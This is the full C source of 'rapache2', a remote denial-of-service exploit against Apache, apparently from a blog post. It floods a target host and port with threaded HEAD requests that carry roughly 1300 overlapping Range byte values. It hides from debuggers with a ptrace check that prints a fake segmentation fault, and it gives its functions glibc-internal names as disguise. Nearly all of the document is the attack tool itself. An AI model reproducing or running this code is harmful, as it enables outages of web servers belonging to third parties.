Remote Apache Denial of Service Exploit

  1. /**
  2. rapache2
  3. “this is another version of rapache”
  4. by: ev1lut10n
  5. bug found by : Nikolaus Rango (Kingcope)
  6. http://www.jasaplus.com/ev1lut10n
  7. gopher://sdf.org/1/users/ev1lut10
  8. Thanks: x-hack, danzel,p4, Ramon de C Valle and all my friends
  9. compile: gcc -o rapache2 rapache2.c -pthread -Wall
  10. **/
  11. #include <stdio.h>
  12. #include <stdlib.h>
  13. #include <string.h>
  14. #include <sys/ptrace.h>
  15. #include <sys/types.h>
  16. #include <sys/socket.h>
  17. #include <netdb.h>
  18. #include <unistd.h>
  19. #include <pthread.h>
  20. #define START_RANGE “HEAD / HTTP/1.1\nHost:localhost\nRange:bytes=0-“
  21. #define USE_KEEP_ALIVE “\nAccept-Encoding: gzip\nKeep-Alive: 115\nConnection: keep-alive\n”
  22. void _do_global_dtors_aux(void) __attribute__ ((constructor));
  23. void _do_global_dtors_aux(void) {
  24. if (ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) {
  25. write(fileno(stdout), “Segmentation fault\n”, 19);
  26. exit(-1);
  27. }
  28. }
  29. char *_libc_csu_fini(char total_range[16253])
  30. {
  31. int k=0;
  32. char range[5]=””;
  33. char r2[16136]=””;
  34. while(k<1300)
  35. {
  36. char r[5]=”,5-“;
  37. char ads[11]=””;
  38. sprintf(range,”%d”,k);
  39. strcat(ads,r);
  40. strcat(ads,range);
  41. strcat(r2,ads);
  42. k++;
  43. }
  44. strcat(total_range,START_RANGE);
  45. strcat(total_range,r2);
  46. strcat(total_range,USE_KEEP_ALIVE);
  47. return total_range;
  48. }
  49. void banner()
  50. {
  51. fwrite(“Remote Apache Denial of Service Exploit by ev1lut10n\n”, 53, 1, stdout);
  52. }
  53. void gime_er_mas()
  54. {
  55. printf(“%c%s”, 0x1b, “[2J”);
  56. printf(“%c%s”, 0x1b, “[1;1H”);
  57. printf(“\n[-] Usage : ./rapache2 hostname port_number\n”);
  58. printf(“\n[-] Usage : ./rapache2 localhost 80\n”);
  59. }
  60. struct thread_info {
  61. pthread_t thread_id;
  62. int thread_num;
  63. char *variabel1;
  64. char *variabel2;
  65. char *variabel3;
  66. };
  67. void *_libc_csu_init(void *arg)
  68. {
  69. struct thread_info *tinfo = (struct thread_info *) arg;
  70. char hostname[64];
  71. char p1[4];
  72. int j;
  73. char rr[16253];
  74. sprintf(rr,”%s”,_libc_csu_fini(rr));
  75. strcpy(hostname, tinfo->variabel1);
  76. strcpy(p1, tinfo->variabel2);
  77. j = 0;
  78. while (j != 10) {
  79. struct addrinfo hints;
  80. struct addrinfo *result, *rp;
  81. int sfd, s;
  82. ssize_t nwritten;
  83. memset(&hints, 0, sizeof(struct addrinfo));
  84. hints.ai_family = AF_INET;
  85. hints.ai_socktype = SOCK_STREAM;
  86. hints.ai_flags = 0;
  87. hints.ai_protocol = 0;
  88. s = getaddrinfo(hostname, p1, &hints, &result);
  89. if (s != 0) {
  90. continue;
  91. }
  92. for (rp = result; rp != NULL; rp = rp->ai_next) {
  93. sfd = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  94. if (sfd == -1)
  95. continue;
  96. if (connect(sfd, rp->ai_addr, rp->ai_addrlen) == -1)
  97. close(sfd);
  98. }
  99. if (result != NULL)
  100. freeaddrinfo(result);
  101. nwritten = write(sfd,rr, 16255);
  102. printf(“\n%s\n”,rr);
  103. if (nwritten == -1)
  104. close(sfd);
  105. usleep(300000);
  106. j++;
  107. }
  108. return 0;
  109. }
  110. int main(int argc, char *argv[])
  111. {
  112. int i;
  113. struct thread_info tinfo;
  114. banner();
  115. if (argc <= 1) {
  116. gime_er_mas();
  117. return 0;
  118. }
  119. printf(“[+] Attacking %s please wait in minutes …\n”, argv[1]);
  120. while (1) {
  121. i = 0;
  122. while (i != 50) {
  123. tinfo.thread_num = i;
  124. tinfo.variabel1 = argv[1];
  125. tinfo.variabel2 = argv[2];
  126. pthread_create(&tinfo.thread_id, NULL, &_libc_csu_init, &tinfo);
  127. usleep(500000);
  128. i++;
  129. }
  130. }
  131. }
发表评论?

0 条评论。

发表评论